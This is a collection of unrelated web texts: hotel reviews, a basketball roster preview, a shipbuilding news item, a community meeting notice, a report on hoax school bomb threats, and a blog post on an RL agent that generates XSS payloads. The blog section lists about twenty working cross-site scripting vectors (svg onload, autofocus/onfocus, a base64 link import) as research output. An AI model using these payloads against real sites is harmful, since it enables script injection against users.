or banana in the lobby. No coffee, no cereal, no Danish. All that said, we definitely could not wait to leave. Not a place you wake up leisurely and enjoy a morning coffee in your room before travel. Nope. Wake up, then you want to leave as quickly as possible. I guess that about sums it up.
It wasnt too bad... nice hotel manager and clean services. Would like better breakfast.
The hotel was late checking me in and I had to wait but when they sent the maid service to clean the room I waited outside and I have never seen a room whipped into sshape ever. The maid they send to clean the room was of such a high caliber.
Bed bugs
It was clean and for the price I paid i experienced a 4 star hotel type of experience. It was overall a good experience.
This guest did not leave comments about this hotel.
It was supposed to be a non-smoking room but the odor was so bad our items smelled like smoke the next day. The sheets had stains even though they were clean. The toilet seat had marks and looked like it was 20 years old.
Management was polite & helpful during business hours No place to get anything to eat or dink, no machines, it was noisy, cars/people in & out all night. couple fighting in next door room & office didn't answer phone or window to notify
it was clean and beautiful paint and furniture everything was cool
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big room. location is close to venue i was attending floors are filthy, u dont know it until u r finished taking a shower, to later find out your feet are dirtier than b4 u got into shower! cigarette burn holes in blanket. room smells like an ashtray. Too many sketchy people in other rooms!
I didn't like anything about it!! The room smelt like smoke and it was a non smoking, the air conditioning didn't work, had to get a fan. Room looked nothing like pictures, bath spa didn't hold water nor did the bubbler. It was the worse room I've ever Stayed in, I will never go back there, Oh and the location was scary, there was a lot of suspicious activity going on in other rooms I was not comfortable at all! Horrible experience!!!
No roaches or bed bugs ,very clean and quiet.. Loved my stay
Front desk lady and cleaning staff were rude.
Jacuzzi tub and nice and clean as the room. Staff was friendly aslo.
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I would reccomend this Motel for people who need to stay in this area. Surprisingly clean and area well kept up. The Motel was also close to where we needed to do our buisness the next morning without having to battle traffic and also close to attractions like Disneyland.
This place was BAD, the noise level was terrible, could not sleep the first night. Loud music coming from next door. People coming & going all hours of the night. The sheets where stained, slept on top of the bedspread, the toilet was not anchored to the floor, so when you sit down on it, it rocked. Needless to say we checked out the early the next morning & checked into another hotel. I would strongly advise find another hotel, do not stay here.
great place to stay with your kids the staff never bothered us and that allowed our two toddlers to be there noisy self's
The room was pretty clean and large. It was surprisingly quiet during the night. Pretty rundown facility. The front desk is behind a heavy glass panel (and no, the area didn't seem *that* skeezy*), making it almost impossible to communicate with the staff. They also have the earliest checkout time (10 am!) I've seen at a hotel.
Stains all over carpet..didn't want to touch a thing! Illicit things going on in other rooms.
Nothing shot was dirty
It was on a main road to get to alot of different places! Having to use cash to pay for the room when I arrived. The bathroom door didn't lock. The TV reception was very poor. The housekeepers weren't to friendly. When I tried to check out on time there was no one in the office, I had to ring the bell for a few minutes before someone decided to wake up and come to the office so I never got my key deposit back.


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This is a great place to stay, just love it! We staid in a room facing the beach. It was a one bedroom suite. Very roomy, and had a nice kitchen set up to cook all your meals. We had a great view of the beach and easy access to the beach as well. Room was nice clean, comfortable, and looked very nice.
Parking is below ground and easy to access, a plus for being on hastings street. Tis is the best value on the beach. Staff was friendly and very accommodating. I would defiantly stay here again. Worth every penny.
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Eight newcomers will take the floor for Tennessee in its opener on Friday night when the Volunteers take on in-state foe Chattanooga.
The Mocs are coming off a trip to the NCAA tournament and a stellar 29-6 year. They four of five starters from a team that went on the road to defeat multiple Power 5 teams a year ago.
Let's take a look at what fans can expect to see from the eight new faces when they step foot onto "The Summitt" on Friday night.
Jordan Bone: For a number of years, the Vols have struggled to find a true point guard. Those close to the program feel that changes this season with Bone. The Nashville native is set to be the starting point guard and has been called a terrific passer by second-year Tennessee coach Rick Barnes. In the Vols exhibition, Bone also showed the ability to score the basketball in a variety of ways, including driving to basket or drilling a perimeter jumper. His speed, quickness and vision make Bone a dynamic player in the open court. The 6-foot-1, 173-pounder helped lead Ensworth High School to three TSSAA state championship games, winning back-to-back titles in 2013 and 2014. His older brother Josh Bone played for the Vols from 2009-11.
Grant Williams: Williams is a player that has excellent instincts and will do the little things that help win ballgames. He is an undersized physical player that will add needed toughness with a high basketball I.Q. Standing at only 6-5, he is accustomed to playing against bigger players and has had his share of success. Over the last two years, Williams more than held his own going against two of the nation's top big men — Bam Adebayo (6-10), who is a freshman at Kentucky and power forward Harry Giles, now a freshman at Duke. Last season, in two games versus Adebayo, Williams finished with 13 points, 13 rebounds, three assists and three blocks in the first contest. Last spring, in the NCHSAA state championship game against Adebayo, Williams scored 15 points, grabbed eight rebounds, tallied three steals and had blocks while leading Providence Day to the title. Adebayo finished with just 11 points and 11 rebounds. As a junior, Williams posted quality numbers versus the much taller Giles with 23 points, five rebounds, four assists and two blocks while sinking 10-of-12 field goals. Barnes has challenged Williams to rebound better, which is crucial if the undersized Vols are going to be able to hold their own on the boards. Since arriving on campus this summer Williams has lost 26 pounds.
Kwe Parker: Point-guard play is going to be a Tennessee strength in the near future and Parker is a key part of that. He is a freakish athlete that will wow those that see him for the first time. He has the potential to be an elite on-the-ball defender that creates turnovers. Parker needs to develop parts of his offensive game but he surely will be a fan favorite with his effort and athleticism as he polishes parts of his game. He is an explosive dunker with a vertical leap of 45 inches.
Jordan Bowden: Bowden is one of the team's best passers and has the ability to knock down perimeter jumpshots. Bowden is a graduate of Knoxville's Carter High School, where he was selected the 2015 PrepXtra Boys Basketball Player of the year by the Knoxville News Sentinel. Last season, Bowden attended 22 Feet Academy, a prep school in South Carolina. A 6-foot-3 guard, he figures to excel defensively, when Barnes decides to press. Bowden needs to be more aggressive with the basketball and continue to work on his ball-handling.
John Fulkerson: Fulkerson gives the Vols an athletic, long-armed forward, who should quickly become a fan favorite with his high-flying dunks, which were on display in the Vols exhibition win over Slippery Rock. He loves to play above the rim in the open court. He will need to improve his perimeter skills, along with bulking up his slender frame. In high school, Fulkerson blocked a school-record 113 shots last season. His athleticism and shot-blocking are two of his best attributes but his half-court offense must develop. Fulkerson is a native of Johnson City.
Jalen Johnson: Johnson may have the biggest ceiling of any of the newcomers. His frame and skillset will remind many of a young Jordan McRae. Listed at 6-5 and 170 pounds, Johnson is an explosive athlete. He is another player that will thrive in the full-court, up-and-down game. It will be interesting to see if he is afforded time to develop or will be forced to learn on the job.
Lamonte Turner: The buzz surrounding Turner is significant after redshirting last season after not being cleared to play by the NCAA. Numerous reports stated Turner would have been Tennessee's starting point guard if eligible. Recently Barnes called Turner is a more natural scoring guard. Nonetheless Turner figures to contribute at both positions. Tennessee associate head coach Rob Lanier called Turner a "lead guard with a scoring mentality ... plays well with the ball in his hands."
Lew Evans: Evans is a key player for this team. While he is a newcomer, he is a graduate transfer that comes with experience. Evans started 16 games last year at Utah State where he averaged 8.4 points a game. He was also the second-leading rebounder. He will be counted on to provide size and toughness for Tennessee's small, inexperienced roster. He can stretch the floor with his ability to shoot. Last season, he made a respectable 35.6 percent from behind the arc.


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PASCAGOULA — Huntington Ingalls Industries has begun construction on the amphibious transport dock LPD 27. The ship, being built at the company's Ingalls Shipbuilding division, is the 11th ship in the USS San Antonio (LPD 17) class of ships.
On July 27 Ingalls was awarded a $1.5 billion contract to build LPD 27. The start of fabrication milestone marks the first 100 tons of steel being cut for units on the LPD 27. The next major event is keel laying, currently scheduled for second quarter of 2013, and delivery of LPD 27 is scheduled for mid-2017.
Six of LPD 27's sister ships, LPDs 17-22, have been delivered to the Navy while LPDs 23-26 are in various stages of construction. Somerset (LPD 25) was recently christened at Avondale.
Ingalls is building the entire San Antonio class of ships, the newest addition to the Navy's 21st century amphibious assault force. The LPD 17-class ships are 684 feet long and 105 feet wide and displace approximately 25,000 tons. Their principal mission is to deploy the combat and support elements of Marine Expeditionary Units and Brigades. The ships can carry up to 800 troops and have the capability of transporting and debarking air cushion (LCAC) or conventional landing crafts, augmented by helicopters or vertical take-off and landing aircraft such as the MV-22. The ships will support amphibious assault, special operations or expeditionary warfare missions through the first half of the 21st century.


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From condos to traffic calming, there's no doubt that 4th Avenue has seen a number of significant changes over the past few years, and with the de Blasio administration settling in at City Hall, the Forth on Fourth Avenue committee thought this would be the perfect time to take a closer look at one of our neighborhood's busiest thoroughfares.
"A New Look at 4th Avenue: Action Planning for a New Administration" will be held at The Old Stone House (4th Avenue and 3rd Street) on Tuesday, January 14 at 7pm. Residents, businesses, and community organizations are invited to attend the public meeting, which will discuss the current state of 4th Avenue, and how the community sees its future.
Council Members Brad Lander and Stephen Levin will share their thoughts on the potential of 4th Avenue, followed by questions and suggestions from the audience.
The committee has put together a survey so that they can get a better idea of what concerns and ideas neighbors have regarding 4th Avenue. Whether you're planning on attending the meeting or not, this survey is a great opportunity to share your thoughts with our community leaders.
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Even before we start anything, just have a glance at few interesting vectors that were dreamt by a machine learning agent which has structural knowledge of HTML. Few vectors require user interaction also. I tried to add comments about what I think is special about few of those.

<svg/onfocus=import>

<button autofocus=x onchange='import'onfocus=popup=1; >
<button data=popup=1; id='x'onfocus=popup=1; >
<button onclick=popup=1;>
<canvas onclick="popup=1;">
<embed onfocus='popup=1;'><img
<form formaction=popup=1; onclick=popup=1;><object>
<form href='x'onclick=popup=1;><select>
<frameset id="x"onload=popup=1;>
<frameset onload=popup=1;>

<input onclick=popup=1; >
<input onfocus=popup=1; autofocus="x">
<input srcset=x href=x onclick=popup=1; >
<link rel=import href=data:text/html;base64,PHNjcmlwdD5wb3B1cD0xOzwvc2NyaXB0Pg==>
<object onfocus=popup=1;>
<select onclick="popup=1;">
<select onclick=popup=1;>
<source onclick=popup=1; ><frameset/onload=popup=1;>
<svg onclick=popup=1;>
<svg onload=popup=1;>
<video onclick=popup=1;>
Let's talk about XSS first. How are you successful in creating a payload for demoing/exploiting a Cross Site Scripting vulnerability? It depends on your
ability to understand the HTML markup and inject a javascript statement in an executional context. If you think about it, your most basic payload starts from
 to
.
A branch of machine learning in which an agent learns optimum actions for different scenarios based on it's past experiences. A more elegant way of explaining RL is taken from here
An RL agent learns by interacting with its environment and observing the results of these interactions. This mimics the fundamental way in which humans (and animals alike) learn. As humans, we have a direct sensori-motor connection to our environment, meaning we can perform actions and witness the results of these actions on the environment. The idea is commonly known as "cause and effect", and this undoubtedly is the key to building up knowledge of our environment throughout our lifetime. The "cause and effect" idea can be translated into the following steps for an RL agent:
By performing actions, and obersving the resulting reward, the policy used to determine the best action for a state can be fine-tuned. Eventually, if enough states are observed an optimal decision policy will be generated and we will have an agent that performs perfectly in that particular environment.
Consider the following markup

. By a simple look you are aware that inorder to execute an XSS you come out of the
class attribute context and put a payload. A simple vector in the above scenario is
">. This is very trivial because
of your exposure to HTML markup, so I believed that if I can somehow impart the knowledge of html to an RL agent and let it play with it for few hours,
it should be able to provide some simple XSS payloads in different scenarios.
So, for the same scenario above, the RL agent get a state representation like
1_tag: div
1_tag_ap: class
context: attr_value
context: class
If the above state representation doesn't make any sense, just ignore it. All it does is try to represent the markup. Now, when I tried it against the agent that I trained, I got the following payload

<button onclick=popup=1;>
Not an optimized payload, as a matter of fact this infact requires user interaction. But this is a good starting point.
You can just give the set of alphabets and control characters (i.e ',",<,> etc.) as actions and the agent will learn valid HTML if you give negative reward for all non valid markup that it generates. But for the agent to learn html huge training time is required. Similarly, there are other issues which I will not go into detail but try to explain the simplifications I applied.
All the simplifications impart the knowledge of structure of html (XML like structure) only.
After training for about 3 hours with 25 html tags and 25 attribute names, the agent aquires good level of knowledge. I provided the following injection
<button INJECTION_POINT. Based on different restrictions the agent chooses different actions
|No restrictions
|No user interaction
><svg onload='popup=1;'>
|No user interaction + No space
|No user interaction + No space + No Quotes
|No user interaction + No 'onload'
><input autofocus='x' onfocus=popup=1;>
I am calling this project as Nightfury and planning to write a detailed technical blog post on how this has been achieved so far. The github repo needs some cleanup, but as of now please bear with this!


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BREAKING: Schools across Ireland evacuated amid bomb threats
Several schools across Ireland have been evacuated following telephone warnings.
So far Scoil Colmcille in Donaghmede, Dublin, Bloomfield Primary School in Bangor, Linn Primary School in Larne and Leadhill Primary School in Castlereagh have been affected with another school in Limerick and one in Midleton reportedly being evacuated.
Reports state Ballysally Primary School in Coleraine has also been affected.
A Garda spokesperson said that a threat phoned in to a school in Coolock this morning was a false report.
A spokesman for the Garda press office said: "Gardaí in Coolock attended the scene of an incident at a school on Newbrook Rd, Coolock at 10.45am today.
"It proved to be a false report. Gardaí in Coolock will now carry out an investigation into the incident."
Temporary Chief Superintendent Simon Walls of the Northern Irish police force said: "PSNI are investigating a series of malicious communications to schools across Northern Ireland today.
"At this stage there is no information to suggest the incidents are terrorist-related, however enquiries continue to establish the facts.
"We will liaise with other UK Police services who have received similar calls, to investigate who is responsible and whether these incidents are linked.
"Anyone with information should contact police on the non-emergency number 101 or call Crimestoppers anonymously on 0800 555 111."
It is understood that threats were also called in to schools in Scotland yesterday, with the Scottish police describing the calls as "not credible".
A spokesman for the Garda press office said: "Gardaí in Coolock attended the scene of an incident at a school on Newbrook Rd, Coolock at 10.45am today.
"It proved to be a false report. Gardaí in Coolock will now carry out an investigation into the incident."
Meanwhile, a spokesperson for the Northern Ireland Education Authority issued a statement saying: "The Education Authority has been made aware of malicious communications to a number of schools today. Schools have in place policies and procedures for dealing with such incidents. They have been working closely with their local PSNI Officers and taking the relevant precautionary measures to ensure the safety of all children."
DUP MLA for North Down, Peter Weir, said that today's events were traumatising for children who were evacuated.
He said: "The police suspicions are that this is a series of phone calls across not just Northern Ireland, but the whole of the UK.
"I think it's a fairly sick mind when you're talking about disturbing and frightening children who are having to be evacuated from their school at short notice.
"That's something that can be quite traumatising for children."